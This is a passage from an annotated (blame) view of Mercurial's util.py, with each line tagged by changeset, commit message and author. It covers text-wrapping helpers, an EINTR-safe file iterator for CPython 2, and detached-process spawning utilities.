parents:
15065
diff
changeset
|
2494 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2495 # Maximum width for this line. |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2496 width = self.width - len(indent) |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2497 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2498 # First chunk on line is whitespace -- drop it, unless this |
17424
e7cfe3587ea4
fix trivial spelling errors
Mads Kiilerich <mads@kiilerich.com>
parents:
17391
diff
changeset
|
2499 # is the very beginning of the text (i.e. no lines started yet). |
32527
47ce079b1afa
util: look for empty-sysstr instead of empty-bytesstr in textwrap code
Augie Fackler <raf@durin42.com>
parents:
32462
diff
changeset
|
2500 if self.drop_whitespace and chunks[-1].strip() == r'' and lines: |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2501 del chunks[-1] |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2502 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2503 while chunks: |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2504 l = colwidth(chunks[-1]) |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2505 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2506 # Can at least squeeze this chunk onto the current line. |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2507 if cur_len + l <= width: |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2508 cur_line.append(chunks.pop()) |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2509 cur_len += l |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2510 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2511 # Nope, this line is full. |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2512 else: |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2513 break |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2514 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2515 # The current line is full, and the next chunk is too big to |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2516 # fit on *any* line (not just this one). |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2517 if chunks and colwidth(chunks[-1]) > width: |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2518 self._handle_long_word(chunks, cur_line, cur_len, width) |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2519 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2520 # If the last chunk on this line is all whitespace, drop it. |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2521 if (self.drop_whitespace and |
32527
47ce079b1afa
util: look for empty-sysstr instead of empty-bytesstr in textwrap code
Augie Fackler <raf@durin42.com>
parents:
32462
diff
changeset
|
2522 cur_line and cur_line[-1].strip() == r''): |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2523 del cur_line[-1] |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2524 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2525 # Convert current line back to a string and store it in list |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2526 # of all lines (return value). |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2527 if cur_line: |
32546
3b8155305fbe
util: use sysstr.join instead of bytes.join in textwrap wrapper
Augie Fackler <raf@durin42.com>
parents:
32527
diff
changeset
|
2528 lines.append(indent + r''.join(cur_line)) |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2529 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2530 return lines |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2531 |
13316
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2532 global MBTextWrapper |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2533 MBTextWrapper = tw |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2534 return tw(**kwargs) |
11297
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2535 |
12698
7aef77e74cf3
util: make wrap() require a width argument
Matt Mackall <mpm@selenic.com>
parents:
12689
diff
changeset
|
2536 def wrap(line, width, initindent='', hangindent=''): |
11297
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2537 maxindent = max(len(hangindent), len(initindent)) |
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2538 if width <= maxindent: |
9417
4c3fb45123e5
util, minirst: do not crash with COLUMNS=0
Martin Geisler <mg@lazybytes.net>
parents:
9397
diff
changeset
|
2539 # adjust for weird terminal size |
11297
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2540 width = max(78, maxindent + 1) |
31338
a9a28ca17615
util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31315
diff
changeset
|
2541 line = line.decode(pycompat.sysstr(encoding.encoding), |
a9a28ca17615
util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31315
diff
changeset
|
2542 pycompat.sysstr(encoding.encodingmode)) |
a9a28ca17615
util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31315
diff
changeset
|
2543 initindent = initindent.decode(pycompat.sysstr(encoding.encoding), |
a9a28ca17615
util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31315
diff
changeset
|
2544 pycompat.sysstr(encoding.encodingmode)) |
a9a28ca17615
util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31315
diff
changeset
|
2545 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding), |
a9a28ca17615
util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31315
diff
changeset
|
2546 pycompat.sysstr(encoding.encodingmode)) |
11297
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2547 wrapper = MBTextWrapper(width=width, |
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2548 initial_indent=initindent, |
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2549 subsequent_indent=hangindent) |
31338
a9a28ca17615
util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31315
diff
changeset
|
2550 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding)) |
8938
9b8c9266c59d
commands: wrap short descriptions in 'hg help'
Martin Geisler <mg@lazybytes.net>
parents:
8785
diff
changeset
|
2551 |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2552 if (pyplatform.python_implementation() == 'CPython' and |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2553 sys.version_info < (3, 0)): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2554 # There is an issue in CPython that some IO methods do not handle EINTR |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2555 # correctly. The following table shows what CPython version (and functions) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2556 # are affected (buggy: has the EINTR bug, okay: otherwise): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2557 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2558 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2559 # -------------------------------------------------- |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2560 # fp.__iter__ | buggy | buggy | okay |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2561 # fp.read* | buggy | okay [1] | okay |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2562 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2563 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2564 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2565 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2566 # like "read*" are ignored for now, as Python < 2.7.4 is a minority. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2567 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2568 # Although we can workaround the EINTR issue for fp.__iter__, it is slower: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2569 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2570 # CPython 2, because CPython 2 maintains an internal readahead buffer for |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2571 # fp.__iter__ but not other fp.read* methods. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2572 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2573 # On modern systems like Linux, the "read" syscall cannot be interrupted |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2574 # when reading "fast" files like on-disk files. So the EINTR issue only |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2575 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2576 # files approximately as "fast" files and use the fast (unsafe) code path, |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2577 # to minimize the performance impact. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2578 if sys.version_info >= (2, 7, 4): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2579 # fp.readline deals with EINTR correctly, use it as a workaround. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2580 def _safeiterfile(fp): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2581 return iter(fp.readline, '') |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2582 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2583 # fp.read* are broken too, manually deal with EINTR in a stupid way. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2584 # note: this may block longer than necessary because of bufsize. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2585 def _safeiterfile(fp, bufsize=4096): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2586 fd = fp.fileno() |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2587 line = '' |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2588 while True: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2589 try: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2590 buf = os.read(fd, bufsize) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2591 except OSError as ex: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2592 # os.read only raises EINTR before any data is read |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2593 if ex.errno == errno.EINTR: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2594 continue |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2595 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2596 raise |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2597 line += buf |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2598 if '\n' in buf: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2599 splitted = line.splitlines(True) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2600 line = '' |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2601 for l in splitted: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2602 if l[-1] == '\n': |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2603 yield l |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2604 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2605 line = l |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2606 if not buf: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2607 break |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2608 if line: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2609 yield line |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2610 |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2611 def iterfile(fp): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2612 fastpath = True |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2613 if type(fp) is file: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2614 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2615 if fastpath: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2616 return fp |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2617 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2618 return _safeiterfile(fp) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2619 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2620 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2621 def iterfile(fp): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2622 return fp |
30395
10514a92860e
util: add iterfile to workaround a fileobj.__iter__ issue with EINTR
Jun Wu <quark@fb.com>
parents:
30359
diff
changeset
|
2623 |
7879
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2624 def iterlines(iterator): |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2625 for chunk in iterator: |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2626 for line in chunk.splitlines(): |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2627 yield line |
9610
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2628 |
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2629 def expandpath(path): |
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2630 return os.path.expanduser(os.path.expandvars(path)) |
10239
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2631 |
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2632 def hgcmd(): |
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2633 """Return the command used to execute current hg |
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2634 |
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2635 This is different from hgexecutable() because on Windows we want |
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2636 to avoid things opening new shell windows like batch files, so we |
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2637 get either the python call or current executable. |
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2638 """ |
14228
116de1da2154
rename util.main_is_frozen to mainfrozen
Adrian Buehlmann <adrian@cadifra.com>
parents:
14167
diff
changeset
|
2639 if mainfrozen(): |
27766
198f78a52a2f
util: adjust hgcmd() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents:
27765
diff
changeset
|
2640 if getattr(sys, 'frozen', None) == 'macosx_app': |
198f78a52a2f
util: adjust hgcmd() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents:
27765
diff
changeset
|
2641 # Env variable set by py2app |
30637
344e68882cd3
py3: replace os.environ with encoding.environ (part 4 of 5)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30625
diff
changeset
|
2642 return [encoding.environ['EXECUTABLEPATH']] |
27766
198f78a52a2f
util: adjust hgcmd() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents:
27765
diff
changeset
|
2643 else: |
30669
10b17ed9b591
py3: replace sys.executable with pycompat.sysexecutable
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30642
diff
changeset
|
2644 return [pycompat.sysexecutable] |
10239
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2645 return gethgcmd() |
10344
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2646 |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2647 def rundetached(args, condfn): |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2648 """Execute the argument list in a detached process. |
10422
600142e7a028
util: fix trailing whitespace found by check-code
Augie Fackler <durin42@gmail.com>
parents:
10344
diff
changeset
|
2649 |
10344
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2650 condfn is a callable which is called repeatedly and should return |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2651 True once the child process is known to have started successfully. |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2652 At this point, the child process PID is returned. If the child |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2653 process fails to start or finishes before condfn() evaluates to |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2654 True, return -1. |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2655 """ |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2656 # Windows case is easier because the child process is either |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2657 # successfully starting and validating the condition or exiting |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2658 # on failure. We just poll on its PID. On Unix, if the child |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2659 # process fails to start, it will be left in a zombie state until |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2660 # the parent wait on it, which we cannot do since we expect a long |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2661 # running process on success. Instead we listen for SIGCHLD telling |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2662 # us our child process terminated. |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2663 terminated = set() |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2664 def handler(signum, frame): |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2665 terminated.add(os.wait()) |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2666 prevhandler = None |
14968
b7dbe957585c
util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents:
14942
diff
changeset
|
2667 SIGCHLD = getattr(signal, 'SIGCHLD', None) |
b7dbe957585c
util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents:
14942
diff
changeset
|
2668 if SIGCHLD is not None: |
b7dbe957585c
util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents:
14942
diff
changeset
|
2669 prevhandler = signal.signal(SIGCHLD, handler) |
10344
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2670 try: |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2671 pid = spawndetached(args) |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2672 while not condfn(): |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2673 if ((pid in terminated or not testpid(pid)) |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2674 and not condfn()): |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
